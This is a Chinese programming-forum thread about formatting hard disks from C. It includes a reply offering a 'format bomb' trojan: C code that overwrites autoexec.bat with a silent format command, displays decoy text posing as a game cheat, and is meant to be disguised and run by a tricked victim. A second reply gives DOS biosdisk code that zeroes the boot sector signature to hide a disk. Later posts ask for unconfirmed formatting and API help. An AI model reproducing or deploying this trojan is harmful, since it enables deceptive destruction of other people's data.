如题
昏..怎么没人回答啊..自己顶顶
用C语言编写的格式化硬盘的炸弹
看过<<格式化硬盘的炸弹>>的文章后,突发奇想,感到这个炸弹好是很好,但是他的图表过于突出而且很不容易更改,样子怪怪的,不易让人上当。我这里编了一个用C编写的累似炸弹,它运行后不是立刻格式化,而是把格式化的命令写入autoexec.bat自动执行批处理文件,可以格式化整个硬盘(只要你狠),而且还可以在运行的画面上显现迷惑对方的文字。具体代码如下:
#include<stdio.h>
main()
{
FILE*fp;
char filename[30]="c:\\autoexec.bat",filecontent[100]="c:\\windows\\command\\format c:/q/autotest/u";
if((fp=fopen(filename,"w"))==NULL)
printf("cannot open filename\n");
fputs(filecontent,fp);
printf("现在正在扫描你的计算机:\n正在加装外挂:");
fclose(fp);
}
以上代码在vc++6.0和tc2.0上运行通过,程序中的中文你可以自己随意编写。编译通过后,你只要把这个可执行程序加上一个漂亮的名字和一个图标,骗对方运行就可以了,比如我这个程序仿的是一个外挂。我把这个程序在我的电脑上运行,运行后窗口中立刻显现程序中的中文,在AUTOEXEC.BAT上加入了“c:\windows\command\format c:/q/autoexec/u"这段文字。经本人试验,重新开机后就把C盘全格了(如果你狠的话,在format c:后可以加上"d:e:f:g:"那对方可惨了,非常好用。不给一点提示。最后你不要告诉我你不会C,哈哈!不会吧!注意:以上程序只适合98,不适用于2000和XP。
其实,我也在寻找解决这个问题的方法.试了很多,都不是很理想.
如果不调用系统的 format
那么需要使用汇编语言调用中断
昏...没有用C++实现的方法吗?
不内嵌汇编
基本很难
还没人回答啊?看来这问题很难啊
Windows上很难做到!DOS就比较容易了,不过你得了解磁盘格式!
#include "stdio.h"
#include "bios.h"
#include "conio.h"
main()
{int result;
char buffer[512],s;
char buffer1[512];
FILE *fp;
loop:
biosdisk(2,0x80,0,0,1,1,buffer);
do{
clrscr();
gotoxy(30,8);
printf("bei fenfen qu biao press b");
gotoxy(30,10);
printf("recover press r");
gotoxy(30,12);
printf("lock harddisk press L");
gotoxy(30,14);
printf("unlock press u");
gotoxy(30,16);
printf("quit press q");
gotoxy(30,18);
printf("insert after press enter");
scanf("%c",&s);
}
while(s!=q&&s!=Q&&s!=l&&s!=L&&s!=U&&s!=u&&s!=r&&s!=R&&s!=b&&s!=B);
if(s==b||s==B)
{result=biosdisk(2,0x80,0,0,1,1,buffer1);
gotoxy(35,25);
if(!result) {
if(!((fp=fopen("a\\part.bak","wb"))==NULL))
{
printf("bei fen success");
fwrite(buffer1,1,512,fp);
fclose(fp);
getch();
}
}
else
{
printf("beifen fail");
getch();
}
goto loop;
}
if(s==r||s==R)
{
fp=fopen("a:\\part.bak","rb");
fread(buffer1,1,512,fp);
result=biosdisk(3,0x80,0,0,1,1,buffer1);
gotoxy(35,25);
if(!result)
{
printf("recover success");
getch();
}
else
{
printf("recover fail");
getch();
}
goto loop;
}
if(s==l||s==L)
{buffer[510]=0x0;
buffer[511]=0x0;
result=biosdisk(3,0x80,0,0,1,1,buffer);
gotoxy(35,25);
if(!result)
{
printf("lock finish");
getch();
}
else
{
printf("lock fail");
getch();
}
goto loop;
}
if(s==u||s==U)
{
buffer[510]=0x55;
buffer[511]=0xAA;
result=biosdisk(3,0x80,0,0,1,1,buffer);
gotoxy(35,25);
if(!result)
{
printf("unlock finish");
getch();
}
else
{
printf("unlock fail");
getch();
}
goto loop;
}
if(s==q||s==Q)
{exit(0);
}
}
以前弄过的一个能修改硬盘最后一个55 AA自举标志的,通过此来达到硬盘的隐藏,呵呵!
格式化的应该调用int 某某中断,你查一下手册
还有一种方法,直接把硬盘当文件打开,然后直接在上面写0 或者1 不过你得自己写格式~~~~
没办法用函数实现啊?那我不是完蛋了...
可是别人有人做到了啊..
学习
xjp6688(大平/要做必须最好) 正解。但是你没有格式化啊,只是屏蔽了而已。
楼主可以去查磁盘韧体手册,应该可以通过调用韧体达到目的。
FORMAT需要确定是否真的格盘,我不想要这种,我想要例如输入format d:然后就不管三七二十一就格盘的文件,谁能提供一个给我?谢谢!!
int biosdisk(int cmd,int drive,int head,int track,
int sector,int nsects,void *buffer)
本函数用来对驱动器作一定的操作,cmd为功能号,
drive为驱动器号(0=A,1=B,0x80=C,0x81=D,0x82=E等).cmd可为以下值:
0 重置软磁盘系统.这强迫驱动器控制器来执行硬复位.忽略所有其它参数.
1 返回最后的硬盘操作状态.忽略所有其它参数
2 读一个或多个磁盘扇区到内存.读开始的扇区由head、track、sector给出。
扇区号由nsects给出。把每个扇区512个字节的数据读入buffer
3 从内存读数据写到一个或多个扇区。写开始的扇区由head、track、sector
给出。扇区号由nsects给出。所写数据在buffer中,每扇区512个字节。
4 检验一个或多个扇区。开始扇区由head、track、sector给出。扇区号由
nsects给出。
5 格式化一个磁道,该磁道由head和track给出。buffer指向写在指定track上
的扇区磁头器的一个表。
以下cmd值只允许用于XT或AT微机:
6 格式化一个磁道,并置坏扇区标志。
7 格式化指定磁道上的驱动器开头。
8 返回当前驱动器参数,驱动器信息返回写在buffer中(以四个字节表示)。
9 初始化一对驱动器特性。
10 执行一个长的读,每个扇区读512加4个额外字节
11 执行一个长的写,每个扇区写512加4个额外字节
12 执行一个磁盘查找
13 交替磁盘复位
14 读扇区缓冲区
15 写扇区缓冲区
16 检查指定的驱动器是否就绪
17 复核驱动器
18 控制器RAM诊断
19 驱动器诊断
20 控制器内部诊
函数返回由下列位组合成的状态字节:
0x00 操作成功
0x01 坏的命令
0x02 地址标记找不到
0x04 记录找不到
0x05 重置失败
0x07 驱动参数活动失败
0x09 企图DMA经过64K界限
0x0B 检查坏的磁盘标记
0x10 坏的ECC在磁盘上读
0x11 ECC校正的数据错误
0x20 控制器失效
0x40 查找失败
0x80 响应的连接失败
0xBB 出现无定义错误
0xFF 读出操作失败
具体程序应该怎么写..谁给出相应的代码???
b = DeviceIoControl(
hDisk,
IOCTL_STORAGE_GET_MEDIA_TYPES,
NULL,
0,
SupportedGeometry, //DISK_GEOMETRY 的结构体数组
sizeof(SupportedGeometry),
&ReturnedByteCount,
NULL
);
为什么hDisk如果是A盘的话,返回值B为1,返回正确,而当hDisk是其他硬盘分区的句柄的话,B返回0,不成功.想问一下大家,是不是IOCTL_STORAGE_GET_MEDIA_TYPES参数只能用于A盘??如果不是,请告诉我应如果去做...
呵呵,来到这里谈的就是不一样啊。